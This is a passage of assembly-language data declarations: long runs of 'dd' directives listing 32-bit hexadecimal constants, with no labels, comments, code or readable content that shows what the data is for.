5C03CE96h, 5CDD72Fh, 650569E0h, 8F856C7h dd 212F564h, 0D89A8001h, 99B14612h, 0E2663E89h, 0C3888F01h dd 0DB468440h, 13EE0491h, 14811D8h, 5897A805h, 481744E8h dd 0CF0418D7h, 0C07006A0h, 8F3BD64Ch, 78AD083Eh, 0D908DF50h dd 0BA6536FEh, 0C40145A8h, 0F7D8046Fh, 0DE5802C3h, 0A8BA2967h dd 0EC12A04Eh, 0C31A970h, 0A982643Eh, 0B76B1167h, 0C184EC63h dd 710DF5CCh, 0E915E1ECh, 184C2057h, 0E5448F19h, 5CC16BD0h dd 0C0DC1BE0h, 0DEDA4710h, 500A4160h, 80FFDF6Dh, 4F31AC99h dd 5D6A820h, 616CF114h, 37B601EAh, 20804273h, 0A874D978h dd 0AC68A000h, 6FB19EA5h, 0F2EE1E8Bh, 0D82B0B04h, 0A69C9808h dd 0F6E1077Ch, 838BBFF7h, 0ADDA40A7h, 0A448EAA8h, 0C35C860Dh dd 0F5348E7Ch, 8FD40684h, 5918A129h, 9985A09Eh, 684488B1h dd 0C248EC18h, 0B25437C9h, 6DD70A9Ch, 859C85FFh, 0D30ED83Bh dd 38780F08h, 107E5330h, 465537h, 159040FAh, 2FD147B1h dd 88C01D71h, 4B3EE68Ah, 9505012Dh, 7A09E9A4h, 0B26DD0E7h dd 595C1F48h, 396485DCh, 0F082D825h, 0C2470017h, 7C01CBF2h dd 2FB885C5h, 2C306099h, 68C85D1Dh, 26EFD402h, 80A58034h dd 98781181h, 0B00F6D1Eh, 0BED83FD1h, 30242D41h, 184750B0h dd 0A80AA30h, 0A0A824F4h, 306E0E20h, 95B1E5DCh, 9048BAA0h dd 924610A4h, 13989078h, 0A0F6593h, 0ABCB218h, 34CF447h dd 3B368FD3h, 7C78D828h, 2845B007h, 6723F5BEh, 816DC237h dd 0F0473808h, 901A3863h, 60C0C9F8h, 0C44CA705h, 393D88E8h dd 59958960h, 39DC7749h, 144C9D50h, 248FED8Bh, 98209689h dd 98BAE862h, 3301B891h, 4A6DD44Fh, 5C2072D3h, 0B8807079h dd 0CAE397Ch, 0D8109A61h, 502087B7h, 1CA25805h, 14C52F82h dd 0C33C5723h, 5541706Dh, 59E4DC49h, 0E530C2B2h, 0B46B352Bh dd 80F4D0DCh, 2F00E6A0h, 0AEA404B5h, 3C374E19h, 0AF00F877h dd 984DCF35h, 8730D807h, 0B773682Eh, 0BD75202Fh, 9105B09Ah dd 1E763B8h, 43B2B820h, 414C62h, 0CE943A05h, 6B80C1F0h dd 0F464F20Bh, 40C2B8FCh, 4056482Fh, 12571938h, 4682DE6h dd 1F325CB0h, 440B0253h, 551C83F7h, 1D83AEAh, 461CDB40h dd 2F86F010h, 1809943h, 0C98B083h, 4086EDD8h, 2AA3049Ch dd 0BA6048F0h, 20DDD710h, 0DA80571h, 4BE2142Fh, 4898A0BCh dd 4348B099h, 3378C65Ch, 2773ECE1h, 582FF2EDh, 0F7C9253h dd 28648061h, 0B74D1314h, 7764F454h, 186C1558h, 9F4848C3h dd 0E66E0019h, 3FE21304h, 0E062972Fh, 8646B130h, 341D0CCh dd 28E75230h, 0CD8297D2h, 0D8948C48h, 17589B5Dh, 1004ABADh dd 70CD43BDh, 0F184882Ch, 0D6E0D1EFh, 3C360CD3h, 83A80653h dd 56C70798h, 8C072F33h, 0FF008E38h, 55A2001h, 3F7274A9h dd 0D68017BAh, 0D929E786h, 60E99F1Bh, 0C13C7A23h, 386787EDh dd 0EF266D63h, 1F910068h, 2FE755C6h, 0F906AF56h, 3BA2D8FDh dd 8C450090h, 9B6EB0C1h, 6300819Dh, 56B1757h, 0E0E7287h dd 0C047365Dh, 21814E0Fh, 744DA985h, 68631B10h, 0A03972E0h dd 639C92h, 0B996800Ch, 0D803EE74h, 0F8973428h, 0C9A68F02h dd 7126E2B5h, 95BAB0F8h, 1D2AEC6Fh, 24948CF2h, 19E80CC9h dd 3D602424h, 0C674008h, 0A4140768h, 27C8B6C2h, 0EC54A29Ah dd 67B802AEh, 3F0C4C7Bh, 8DF97Dh, 0F677B0C3h, 8FC4DD83h dd 28C0A5E8h, 0A782DE07h, 0D5341D29h, 63740DFh, 6DFECF41h dd 0EC14FA26h, 8007502Ch, 0E9B58FDDh, 0E7EF9081h, 0E8297061h dd 6F366781h, 0E3AED8D2h, 0E1ACBE00h, 1689056Eh, 414E010Bh dd 8C6DCF4Fh, 0E7308043h, 5596A024h, 76B01D95h, 0CA47000Ch dd 856B104Fh, 0F70524B8h, 3E92257Fh, 14429456h, 8C0212Fh dd 0D8EA01E8h, 3C3EDB36h, 568F0820h, 0E4C70775h, 29D983DEh dd 0C17C1048h, 2F397F18h dd 0B602FDE5h, 0C09A24E1h, 35013875h, 0FE048794h, 0E464AAD8h dd 0EB8F2AD6h, 22CB880h, 0DD65973Fh, 0BC9807E7h, 580527Eh dd 3B3003A4h, 0DBEF4783h, 8808CC2h, 0B6B0D89Bh, 0F4B01890h dd 58C9A231h, 803D254Dh, 303C6185h, 76904B0h, 63C28C13h dd 27E00426h, 0A0934D6Fh, 0BB87C1h, 0A465B897h, 45B21650h dd 8F304362h, 187A5819h, 72F04CB0h, 0D44459h, 9D53D1FAh dd 1A5050Eh, 0FFDA3955h, 0A7E4BD2Fh, 46582248h, 8A888054h dd 1E04056h, 9DB9B525h, 648804D8h, 5C04A124h, 9E41C85Fh dd 0FE2FD8D0h, 3A20B2ECh, 2AB28F4Ch, 0FC1C378h, 7C9D4124h dd 0C0CEC834h, 10ECD424h, 0C1A2AC00h, 4D164FCCh, 0D809806Bh dd 74C21EA3h, 8403862h, 5C9015BDh, 8160DE58h, 0E1DCF7C7h dd 306DB820h, 3818FB70h, 6203B080h, 0D737AD53h, 0B84783E7h dd 0BB8AECCh, 0D9EF3871h, 30C300B0h, 531CA4A8h, 21E13300h dd 189EA50Dh, 3FC4B15Bh, 3A80C977h, 0B8603062h, 5C1BC95Eh dd 0F038C6ACh, 78B0F28Ch, 0E7513CB5h, 9FFB3187h, 0B671A0D6h dd 0FA0A27E1h, 0C849E48Fh, 1B98C780h, 4057B51h, 6DAE088h dd 0B2908061h, 3000F26Dh, 49896A5h, 0F08A6280h, 6698C485h dd 49CA23Bh, 7AB76E3Dh, 182A9808h, 7856A222h, 0CF7D0088h dd 9FA88D07h, 4C0172B0h, 8F95EED0h, 9000697Ah, 8BA31D8h dd 4F24D57Ch, 0F93860D0h, 77205478h, 63449644h, 1DC4B96Dh dd 53349CFh, 940108D5h, 61742F37h, 0C01EE838h, 0F13FC042h dd 0D818C27Eh, 4DCC10DCh, 3D0B7030h, 2AA59E66h, 0B7858482h dd 7945ACE0h, 0DE1D2E16h, 7CE5A0C4h, 0E82BC4h, 9585057Ch dd 3152EB54h, 0D8EFEA78h, 7E7DE509h, 0B46FB003h, 88678144h dd 0B9D56A1Fh, 803F13B0h, 463C8FC4h, 117ED8C9h, 0B09230A8h dd 98C4C6C2h, 0D202E2FBh, 38CE0E1h, 0D5E4EE8Fh, 9924BC08h dd 8D9A4544h, 0A0EDE304h, 9C1D3B24h, 0CF0F6C10h, 0EEDA86F3h dd 68D84818h, 0BB11F93h, 3868B1C0h, 74908DFFh, 0FCB1D898h dd 542A283Eh, 4F18B861h, 1830D1D3h, 74508254h, 6D06B8BBh dd 0FC718DD4h, 62770E2Eh, 0DD5D47h, 27C322F6h, 10DF45C7h dd 8C0C7514h, 302F8198h, 5950F813h, 0C4B40DAAh, 7E680049h dd 8ED3F5h, 6602DAD9h, 18F6476Ch, 93E3A16h, 64941800h dd 0F9EF53B8h, 8052031h, 1D145010h, 2024616Dh, 15FAEF00h dd 2D45810Dh, 602080DDh, 0CB96AD65h, 0D4338F12h, 0F3C75004h dd 55FFCCC0h, 935B0020h, 0C95C2759h, 8F14D978h, 8C4CB6h dd 0C080E9EEh, 81F33C2Fh, 43C61B8h, 0ECEC0230h, 5071DE52h dd 1B8CA180h, 909257BBh, 308F181Ch, 8996502Dh, 0AD17B0A4h dd 3C839EA3h, 0FA2CB2Fh, 6362F018h, 726DE7E2h, 395A7478h dd 2C2F0047h, 6F900569h, 37C1901Ch, 0E6C77FADh, 40081304h dd 0B8933C4Ch, 78423061h, 31689876h, 0D498F445h, 117B0024h dd 209C6490h, 6CB482E8h, 0DF6AE840h, 1C249A81h, 0BB840797h dd 0E00171D0h, 6DC24E3Fh, 0A8C17090h, 0DCF0F73Eh, 80003827h dd 0ACF87E42h, 0C9890A3h, 3226A70Fh, 71EE6081h, 0B8074F51h dd 3A9C297Ch, 4198ACE4h, 454742A0h, 1038A280h, 0F85DBBAEh dd 87D70709h, 6538A882h, 6A3046C0h, 0C1C73B01h, 27220EDAh dd 859F3078h, 0D0E8FC2Fh, 0BA13691Ch, 0E79F3A00h, 4ABB9E03h dd 79303CDEh, 82B28h, 23DCD662h, 4F1E6D0Ch, 10B8E258h dd 94002F11h, 553B9C8Bh, 0A704C657h, 8C453424h, 857607C0h dd 0E64B29F4h, 0FBF3C08Ch, 0D838A2EEh, 0D427DB3Eh, 0C09EBC82h dd 4B8FDF9Ch, 300400EEh, 468854EFh, 0E618D701h, 0B072F220h dd 207C7E0h, 6D6B3666h, 0F468BC8Ah, 0DCB06905h, 9542E094h dd 0B5701B3h, 0CEEFE164h, 0DB652840h, 10D38F18h, 26E2E1A1h dd 6024A03Ch, 7A168F86h, 0EC3180h, 10788B05h, 382F7B95h dd 6D38AB60h, 0DFA504h, 943947B1h, 0B58FD457h, 0F3E90F41h dd 56103033h, 4F36099Ch, 5BF0C4D1h, 47687163h, 4F843DDDh dd 37D79C40h, 0C0CCA73h, 65552F89h, 0D4E464C8h, 0A379C616h dd 0B9BDA800h, 9B0CA5Fh, 9E8E8C49h, 17942002h, 60F9C702h dd 804DFE84h, 0D42E6293h, 5D00983Dh, 6D680BEFh, 90DD6606h dd 2CB07855h, 380496h, 52243D4Dh, 157E289h, 434CBBFh, 8FDFF777h dd 0E1D78704h, 0FFDD46E9h, 0EEDE29C4h, 0E0437050h, 3FBE0056h dd 81585323h, 0F703AAEEh, 7DE9ED59h, 2D22004Eh, 69C85CACh dd 767FBA52h, 0D100BE70h, 2EAC1E2h, 0C1E19CE9h, 504DB15Ah dd 14B0C852h, 586069F8h, 3D1B6842h, 5A02032Ch, 4245431h dd 0DB0BE9A8h, 0C64938CEh, 0F62C8ADFh, 16CA60EEh, 81241C8Bh dd 1A04C437h, 0DBCB0103h, 7383DB0Ch, 2C31B16h, 0BFE72887h dd 0BB0F6683h, 0E99C81EFh, 0D24B8CC9h, 68B4132Ch, 4F2B4A12h dd 46F4D865h, 635FF88Dh, 0E689561Fh, 5A33A099h, 68F03449h dd 5118C523h, 0CA504FB9h, 0E5407A6h, 243C8906h, 1F02BFh dd 6326C181h, 0E3E910B7h, 0E5277767h, 39072h, 0F6E0B652h dd 0B880DE39h, 99F33FC4h, 8B1E37DBh, 4C51C89Eh, 0BA317A33h dd 4C0E64A8h, 0CEF6BC0h, 0EC236231h, 0CE702DF7h, 0CAC1DB40h dd 3A036071h, 4BE9F901h, 0AD320584h, 5F372F68h, 60D99D5Ch dd 5EF1311Ah, 0E9BE30DCh, 81AFA81Ah, 0F942A8C6h, 6FEA8846h dd 6C32A1Dh, 2D4AC280h, 389D635h, 0E9455AD5h, 4028ED8Eh dd 75209B28h, 0FC5EFC58h, 46506835h, 0ECCA4E2Eh, 85891406h dd 5EB7BD00h, 0EBE97D08h, 0F5272D62h, 0BE640AFh, 8932C983h dd 62680800h, 0D039E51h, 9A82D58h, 0D9C6144Dh, 0B3867B03h dd 0F6DE1151h, 0A6F6100Ch, 9590ADh, 7375193Eh, 348BF029h dd 543FBC90h, 85E90D5Ah, 8946C361h, 7C836E8Fh, 48655E4Ah dd 0E9C4304Ch, 0C2A80F63h, 691E1305h, 48CC4345h, 4887160Bh dd 0F803B3Ch, 0EF68C8B7h, 0F8B72754h, 1FC52544h, 85BFFBB8h dd 205DEE01h, 772A6838h, 3FA33DBh, 80D4F60Ah, 63B71ECh dd 0D5E407E7h, 539C77E9h, 1EE07EDh, 0CF597453h, 9D1423E9h dd 51000684h, 0D1F6A8B1h, 0DE6DDAE9h, 23E10121h, 0DC4648B0h dd 6418D7E6h, 0EE1A046Ch, 15A9041Ch, 9324BAE9h, 0D1B9F0A0h dd 0C8414064h, 4D98AD3Ch, 1830CD06h, 0EC34AFh, 915C075Bh dd 665DE831h, 3ACAFF7Fh, 943DD6C8h, 7ABD8BC6h, 9E5B9D24h dd 895710B0h, 0C78124E7h, 3B306259h, 2E8C100h, 4417291h dd 368D8F7h, 1C069338h, 39BF3C01h, 0BB1FE93Dh, 7713FBE8h dd 5EFFF9Ah, 4BC38026h, 0EB2F8328h, 0B0045AA8h, 2390D8E0h dd 451CB40h, 1E477168h, 53A7981Bh, 3D00527Dh, 5A71CA05h dd 0E3BE281h, 0C128D81Ah, 185513D2h, 0BCBF68D6h, 0C8384B38h dd 9963BF4h, 4F6739h, 76E8550h, 0C3FFA05Fh, 5F73930h, 0CE06DE3Ch dd 1DAE278Eh, 1734BD0Ch, 4710C3Ah, 110839Eh, 305487F7h dd 36AF7A87h, 9A760C1h, 188057E8h, 75FE37EBh, 0FB62A3E9h dd 66BB53D0h, 0C6EF0170h, 10BBE1Ah, 12B344DFh, 20E62D08h dd 0FBA95FFFh, 0E83D60CEh, 272A6D02h, 62C68359h, 0E9B081ECh dd 6C8FF2A2h, 4860E0C1h, 0CEA3572Dh, 10BB4648h, 0F724409Bh dd 4FF1083Dh, 66F82803h, 1896C95Bh, 0DB53129Fh, 8992483Dh dd 0BDCABD8Fh, 58BA80F0h, 11FDAFDh, 975FFA2Ch, 0EB53880Ah dd 70280E4Fh, 4110CC7Dh, 6C8740Ch, 0F19005Fh, 34FFC0B6h dd 8CE9870Ch, 0F2506AC7h, 72019874h, 60F7A48Bh, 0E95C0C8Fh dd 0D1926CAAh, 2B2E360Ch, 63ECB473h, 2CEB7D2Ah, 17AA7224h dd 0BE54558Eh, 89A8A6ABh, 87180685h, 3E535C2Ah, 0C3AAE389h dd 20EB4313h, 0E973A81Ch, 7B72493Ch, 0FAB97267h, 653E43D9h dd 0F1E39906h, 489CCBFEh, 0D1348221h, 2D8FC8F0h, 4C663A40h dd 0F11C0D58h, 30228380h, 0EAB259CAh, 0D7881E40h, 6948E958h dd 17380195h, 6FEC7C47h, 91B58006h, 6F0350CAh, 0A87889C9h dd 0B8BABDCh, 9BF188C0h, 7706F422h, 53B2E91Ch, 99CB4C33h dd 14DF1A31h, 0DECF4D24h, 0D22DAABAh, 0FAEB07D1h, 0C368C1E1h dd 781C630Ch, 68144620h, 18E33B54h, 0D38886DAh, 0A92B0AB0h dd 0D202AC7Eh, 61642240h, 52338898h, 552E4342h, 287B2110h dd 1B5013B9h, 0C38B0062h, 416724FBh, 0F3004B77h, 99C9404Eh dd 925BDD29h, 0F7E91800h, 835F3C66h, 0F91BFCA2h, 9A478A4Ch dd 485864EAh, 36168259h, 6FAA2061h, 0CC3A4CEBh, 485D3501h dd 0E8F6FD82h, 0EF5758DBh, 0FB5570CDh, 0E7685742h, 24A16616h dd 820C04E9h, 286FC680h, 8D3DF860h, 218AEDDDh, 5EB7BF01h dd 0A102C5E5h, 0AF2CEF80h, 0EFC66AC3h, 58C3099Fh, 0E08EDC1h dd 79DD7FA2h, 1C6F061Fh, 0CE20FD8Bh, 2E016F18h, 0D5087406h dd 62AAC151h, 0D10181A3h, 0C09B335Ah, 0D060631h, 110E685Ch dd 14F189CFh, 855BAC52h, 0C8976A4Eh, 4CB2B9C1h, 0F8CF01D0h dd 690F92A0h, 6D808621h, 418D3394h, 770A0CC9h, 87299005h dd 314CCCDDh, 0EA0D06DAh, 285C446Eh, 8481DCE0h, 0BE24C0DDh dd 62F07488h, 0F8D6F726h, 0DF590F00h, 58EEC16Fh, 0ED04BF05h dd 0C1275103h, 0CC04ACFBh, 0C4DE91Fh, 805A07E6h, 0F53028CDh dd 0F0DDF691h, 88AB14EDh, 4D57E8EEh, 9266DE40h, 28AA09Ch dd 83C34C30h, 61878F9Eh, 124640Dh, 5EC27E6h, 0A6442054h dd 1100A008h, 0EA7C913Ah, 0CE18E2FDh, 0FBB2A00Bh, 0FA4E1D61h dd 1ACC6976h, 0F3FD780h, 5EB070CBh, 995F430Bh, 3040314h dd 0C3550083h, 502056CDh, 0BE98DA89h, 8F2AD55h, 0E668B0E9h dd 5A624050h, 6CB201F7h, 5D9C7088h, 6213B1F1h, 0E8BF89Eh dd 3D90665Ch, 87915E68h, 8149E820h, 38A970B6h, 44B2595Fh dd 3F3A46F6h, 0ED06B717h, 4E3477F4h, 5842390Ch, 601C612h dd 265A6B99h, 0C9C7312Ch, 14451903h, 3080B77Bh, 0CFD38E66h dd 33694FF8h, 51FBB801h, 290840B9h, 8B2559CBh, 0DAF5133Ch dd 9BE34653h, 0EFEE00F9h, 122E361h, 31E9DE0Ch, 1041A8Bh dd 0C07024E7h, 0D3FE03E0h, 0C6280CC8h, 0F52C5802h, 88D84BE9h dd 2F4F9091h, 0D33CB851h, 0D0A6EFE0h, 7E8828Dh, 91AE5A21h dd 0F7528391h, 0E9160814h, 280B7FE7h, 383896D8h, 0E806B72Ch dd 0CF7B5CE9h, 9933E277h, 0F02088CDh, 0FD0F659h, 0C8FEBA2Ch dd 0E93619C6h, 97D54450h, 0FDDF7D3Dh, 8716F94Ah, 97339A4Ah dd 4C06311Bh, 0D28D840Dh, 0CD249E7h, 334070E7h, 6C01355Ch dd 7A80095Eh, 0AD003762h, 0A8546286h, 89C934F6h, 0F39B08C1h dd 0A64BD612h, 245D16D1h, 435FE931h, 0C300553Dh, 7C0436C3h dd 0FAEB2912h, 935E9A57h, 0BE8F3C22h, 0FB33681h, 1E13031Ah dd 0F609FD26h, 418FE44Fh, 8A348B25h, 0BD197D53h, 0C52C7136h dd 21E4D5C5h, 745D7DEFh, 0FBE910D1h, 0F7511417h, 815901CEh dd 6F7449C9h, 41DADC20h, 1809E7E8h, 843435F0h, 71B4061Ch dd 0B90802C2h, 0D6019CF4h, 8399F98Eh, 0DE2470F6h, 9AD3586Ch dd 0BE560350h, 3D8B7DE0h, 0DE2C230h, 2C5EF089h, 0C1E9C201h dd 87EDE9h, 150893BEh, 0CD814C95h, 0E3639E02h, 17E8293Bh dd 6B608FE9h, 6D0F68CFh, 614A4E8Eh, 3D148D8Fh, 622B02B0h dd 50467D5Ah, 2EC634C6h, 75A1C213h, 0BA0948E6h, 208A4F15h dd 3D3428AEh, 0D6293459h, 0FA081136h, 0C092E913h, 0B05066E9h dd 64E61852h, 5D1721Fh, 0DDC9D5F7h, 9C7E87E4h, 0E4FE6376h dd 835E400Ch, 4147B6C2h, 12C20050h, 27907877h, 52A52C61h dd 145FF68h, 4AEAC759h, 7A188B66h, 81DD7909h, 3E07CD02h dd 604D718Ch, 2D11CCAh, 0FD29AFC4h, 177869E9h, 0C3486678h dd 0E5EB0D1Fh, 0B8E8D264h, 553A4862h, 1872BF0Fh, 0CF24476Ch dd 0E95E8D09h, 5AAF2159h, 0BDC3BE2Ch, 0EF795BC1h, 0C331168Bh dd 0EDEBB86h, 19F2E1B8h, 98EFEBE6h, 0A7D27E0Ch, 78790B24h dd 4840F5E9h, 423970BFh, 38A6E9B9h, 9C577C86h, 8156E2E2h dd 6FB48780h, 6F984AA9h, 6453D4Fh, 9F2020B5h, 64944129h dd 1EC3A667h, 0C0A8B6C1h, 69408EEh, 626E605h, 0D8F6099Ah dd 2008498Dh, 0A0982002h, 0D3EE8005h, 0CB53A7E9h, 949455C4h dd 74358EE3h, 93CD82C5h, 4760DAA9h, 8082C790h, 5D6DC3C2h dd 8942139Ah, 519C2CD9h, 80A62CF4h, 92216527h, 0C9D9614Ch dd 21434CA0h, 0BDBD6263h, 78100253h, 865B4DE2h, 350F0CF0h dd 8571DE89h, 88F7C1F4h, 0A0C360DDh, 46105269h, 5651005Ah dd 484D8468h, 0A2CE959h, 8351CDC1h, 7C290CA5h, 5D530948h dd 1129C2E1h, 0CB920E8Eh, 0D499215Ch, 0BA100449h, 18034DC0h dd 0E6D34D65h, 0DABA0052h, 81783253h, 622667EAh, 0E21F1526h dd 42903D41h, 1C97D2F7h, 425252C9h, 4EE8357h, 0C2546A72h dd 0FE4829C8h, 7C4D4AEDh, 94A8235Fh, 54E0E6A7h, 33C06F05h dd 311A3302h, 0A60D066Bh, 908D310h, 0C04CE99Ch, 7FB28D27h dd 8EA25409h, 0F740F101h, 729402C1h, 2C242452h, 9AA12848h dd 9CB08h, 0AB7B8BBEh, 0CE2C310Eh, 0E9610C59h, 0F690AE6h dd 7E1A56CBh, 0C7839A68h, 833C88A1h, 9BE951EEh, 8C385947h dd 0D7E65FC9h, 466A6813h, 91803735h, 0BE15D2h, 2E3C17Dh dd 0CD0F381h, 987B542Ch, 8F79061Eh, 0E036B16Ch, 15BD889h dd 0F9584CC7h, 0EB570C31h, 0CFF8195Eh, 8A12D128h, 645A7D59h dd 0FDF1D141h, 5284C31Fh, 715E28D2h, 4AE98F20h, 59CF27F8h dd 8E7C10Eh, 0C496081h, 4BE93C12h, 0B85400DBh, 731C2BA6h dd 0DF570501h, 0C321B9FBh, 0F312F72Ch, 9E3014F5h, 21C5D652h dd 0D0C352F3h, 850FDB89h, 5A44EB26h, 540477CAh, 95D00BE9h dd 3D534EBFh, 0AB247159h, 872997E0h, 9F492D4h, 2A96ACC6h dd 0B0D32E8Bh, 4B5451E0h, 0E9AB3359h, 28026FBAh, 578FC8EFh dd 81E9AE54h, 0E628E2B5h, 27E10B92h, 0F801AF22h, 224762E1h dd 22338928h, 6AD4DED9h, 7FBD143Fh, 7F13345Ch, 0DCDFE031h dd 0E7606664h, 0D3C1A0B1h, 8081E0B4h, 0F6A5C2ADh, 0AB0ADA67h dd 42B3B40Eh, 0D04B70A8h, 51807927h, 1B22B450h, 44FD19E9h dd 0F37B2CFAh, 0CCDE1325h, 0F2BE7F04h, 80D64895h, 95C63EEh dd 1ED2683h, 9D31733h, 2D877105h, 3B7FEE7Bh, 746BCA02h dd 0A6C06EEBh, 5042E35h, 5FFA2152h, 814A0C80h, 0B8A001F2h dd 0D529B4A2h, 48E9FD5Ah, 7F0C14Ch, 0C906693h, 64D8522Ah dd 0B383A8ADh, 27171684h, 67B63735h, 0BBD06D48h, 0A73CA22Eh dd 0EB402932h, 0DFA623C8h, 14505C3Dh, 4888E389h, 0E087CA73h dd 5E826BB4h, 87530729h, 0F95FA7D3h, 815AB9C9h, 68D231D5h dd 542C7280h, 812C5D90h, 58F6BD51h, 585B175Dh, 30750C6Ch dd 0BF2C173Ch, 8ED28CDh, 17BE92Dh, 61C5BF2Fh, 3E2977F8h dd 3F925FFBh, 0F9504F32h, 6B86029Eh, 0DF620DD9h, 554CA446h dd 753C044Fh, 0DF8020E9h, 4CC93D1Ah, 0E4065239h, 18549823h dd 91603F09h, 24618911h, 0D9C1DE58h, 886089D8h, 3F5F445h dd 16A42767h, 0C81CEF01h, 0C62C02C7h, 0F665C60h, 0F9C858BEh dd 0BD4D4C7Ah, 42146F81h dd 1795EC10h, 0E152A6BEh, 0FC85873Dh, 0F0D7299Ch, 7A40B269h dd 5D002F7h, 2EC3180h, 0BF20DB82h, 0B151C30Eh, 69F8C947h dd 921E8A54h, 4EA8B9C0h, 78144D6h, 0E203BF1h, 17E16033h dd 0FAC6076Fh, 908501C1h, 3FB425B9h, 8802E024h, 0FBFA63DAh dd 1C897C65h, 0BCDC4C91h, 9C2F2505h, 1A404C52h, 271414BAh dd 6E7ADA93h, 0ACC0FB72h, 11A2378h, 886D968h, 84465B16h dd 48CF76E9h, 0AA50AD89h, 61082497h, 7EA109Fh, 0D7338FE2h dd 0C7CB0099h, 2F483Fh, 661EB850h, 0C2312DBAh, 68602AB8h dd 10F5C679h, 0C746009h, 4B5B7998h, 0F7E8F6F8h, 29447516h dd 0AA92CF18h, 4CD70936h, 6D91515Dh, 15293659h, 22860CFEh dd 63BE0056h, 81498513h, 721343E6h, 780B0F37h, 5F2E247Ch dd 0F420AE89h, 0C814D21Eh, 564108C0h, 0CFB349CFh, 0C181B318h dd 402E0C3h, 215D1861h, 52A5E45Fh, 1717BC5Bh, 0C91737C1h dd 120FD9B2h, 412BBBE8h, 550D03AEh, 0FB661CF9h, 1579327Bh dd 0DECA310Ah, 0D5078664h, 294B5D50h, 89A0899h, 52267928h dd 0C3FD040h, 14575EF3h, 0F04E014Ah, 0BD5ABF05h, 0C5FDEFD7h dd 0CA595645h, 14495092h, 7490F483h, 73CC8870h, 0E5E36659h dd 8079D958h, 0B6528400h, 2E6C049h, 7F6E26E9h, 15C468AFh dd 5503B123h, 0F2504CBDh, 0E7EAD024h, 184F013Bh, 97E965C1h dd 295B853Ch, 0EAF020F5h, 0D76FAC0Fh, 0E7C2A148h, 1D04592h dd 52069ED5h, 3388E1h, 957EC1E9h, 0AD83ABB9h, 273A140Ch dd 601BAE9h, 60F9295Fh, 0D17CD930h, 0BA1D514Fh, 14116A4Bh dd 264691CDh, 0BCB10ECh, 4C5D5455h, 79EB32A0h, 8DC1520Ah dd 0C606A6F2h, 47F0FD09h, 225512EAh, 0E9235D84h, 0B8A3281Dh dd 0C1291316h, 82C35958h, 5C169605h, 134295D8h, 932E2D22h dd 110D46C7h, 80FA6CE9h, 6513772Ah, 6C5F44EFh, 1079E318h dd 800F0C53h, 0D006F5F2h, 0F105C7FBh, 3B2CA78Bh, 0B308FDD5h dd 1BC62509h, 25F04C49h, 0F759CC5Eh, 0D4D50E6Ch, 0E0A6503Fh dd 7FA602B0h, 186016BBh, 9C1663E9h, 980B4147h, 8AF7B24Dh dd 0DB0080AEh, 8153CB62h, 672D0CCEh, 5FE26F4h, 88169870h dd 970AF389h, 0E853EA59h, 2A685EF5h, 5B813DFCh, 318012A5h dd 80BA1328h, 656BD12h, 7FC14FDAh, 699AFAEDh, 0D38F366Eh dd 0CCCA250Bh, 0CE908F50h, 945C942Dh, 5DDD37F2h, 4F5E6017h dd 0CC0551Ah, 14EB4E92h, 0C821155Fh, 0FA12F68Bh, 2049B4F2h dd 741E2FFh, 0FD08F95Ch, 8D492FE4h, 0EA2C19C2h, 6277A193h dd 6655385h, 3229B7ACh, 0B08803ACh, 0F74F0078h, 0ECCF81DFh dd 5CD44412h, 0D5EA1707h, 1AE9DDB0h, 2FB916Fh, 40410EE7h dd 0A6E335E1h, 0E90BE80Dh, 6676E08Ch, 67B23852h, 5A2CD43Bh dd 1D9A1C82h, 59C35DE3h, 3DC41258h, 502C7568h, 8D09EEB0h dd 40A79A5Eh, 0BB7D246h, 0A2C780E4h, 0EFAB9F0Eh, 0A9E9CF87h dd 8B580961h, 0E02EB670h, 832654C6h, 2A00AED6h, 0BA7D5704h dd 174580DFh, 9EA29ADh, 0C9904A8Dh, 6F4C0268h, 0D3E2D274h dd 0FB4C9E90h, 0E95E8E0Eh, 63C94E2Bh, 54652B02h, 0AB7471E5h dd 0E9309A5Fh, 2DDC292Eh, 4A069620h, 0ECBD1C98h, 0A7E051DAh dd 34ECF819h, 5323D031h, 3D10D099h, 114905h, 0B6C72CEh dd 0E481EED1h, 4E8EB32h, 68351ABBh, 0B652FCE7h, 0E19D70C4h dd 75DAB809h, 58C68902h, 4A407731h, 4C9CD1E0h, 6DBA70A8h dd 26FFD35Ch, 1F32BC07h, 0DC9D8146h, 0FCD7E17Dh, 868241C5h dd 0EB890156h, 3761715Dh, 257E49C3h, 2F6105Ch, 5B41E651h dd 94A44120h, 0FC07E40Dh, 60B808E2h, 371ADA16h, 0A3EF3E0Ah dd 40034AB5h, 8190B753h, 4D205BF8h, 7E2C98ACh, 1A1C9402h dd 55A306F6h, 6EE64AF2h, 0D4EE4C55h, 0BA9DB807h, 65061213h dd 1227A43Dh, 66068147h, 0E446888Fh, 971528B7h, 0B9568792h dd 51366841h, 0C4587F23h, 0E286A02h, 66404049h, 0AF2D751Eh dd 0F54B807Bh, 12CAF6D5h, 8E809A2h, 431F189Eh, 0E46CF380h dd 7E89B441h, 0BDD830D9h, 1629C2C3h, 655CDF24h, 0C381F017h dd 0BCDCD031h, 3F0F990Eh, 94353924h, 1601E242h, 0F75EED3Bh dd 0C41430D7h, 5B8D5802h, 4005E7C1h, 260EA06Bh, 17A46607h dd 0C6AED07Ch, 0C2CA519h, 8A05429h, 8FFF1BB0h, 290E5412h dd 5D022463h, 0AE9A1A5Ah, 58492154h, 3B6810B9h, 9E91230h dd 37D008C6h, 0CB7B79ACh, 680CE719h, 87D8C947h, 0DE82C38Eh dd 9A0F35Bh, 61A1F573h, 0D33FC9BEh, 12EE8834h, 36998980h dd 83404AE9h, 8E9C1F1h, 0A8D54046h, 57026596h, 20E9C601h dd 0FEC2C8C4h, 2D3C4F8Bh, 520CA12Eh, 7301E98Eh, 2C683C88h dd 0CFD36DABh, 1459E82Ch, 0B2F2CCCFh, 5BCDCDE1h, 0A8074703h dd 9D9508BCh, 4DE5FAF7h, 2C633B4h, 56BA21BBh, 0D088FE01h dd 0E5F1A08h, 0FC96B91Ch, 0CB68342h, 60130AF0h, 125F6839h dd 0A665AF89h, 909209C7h, 57080005h, 0F5685150h, 255C7612h dd 7042101Fh, 0B55D5C76h, 7C5D55CDh, 98CE4E8Eh, 0A627525Ah dd 6438102Ah, 6D5DA656h, 0CDC0134Bh, 62E2E11Ah, 1C87CCA1h dd 0C7CB4AE9h, 910D5695h, 0E0C5B6A9h, 4E7D624Ch, 14266B2Dh dd 698D91F2h, 0EF4AFCDBh, 4867E725h, 7BE0A776h, 8EBB5D16h dd 58FC8634h, 0C8FE4403h, 34E3D0F6h, 0A4DCE2Ch, 0C3A0B49h dd 6C7089Ch, 0E9053106h, 0C181E766h, 694CC74Ah, 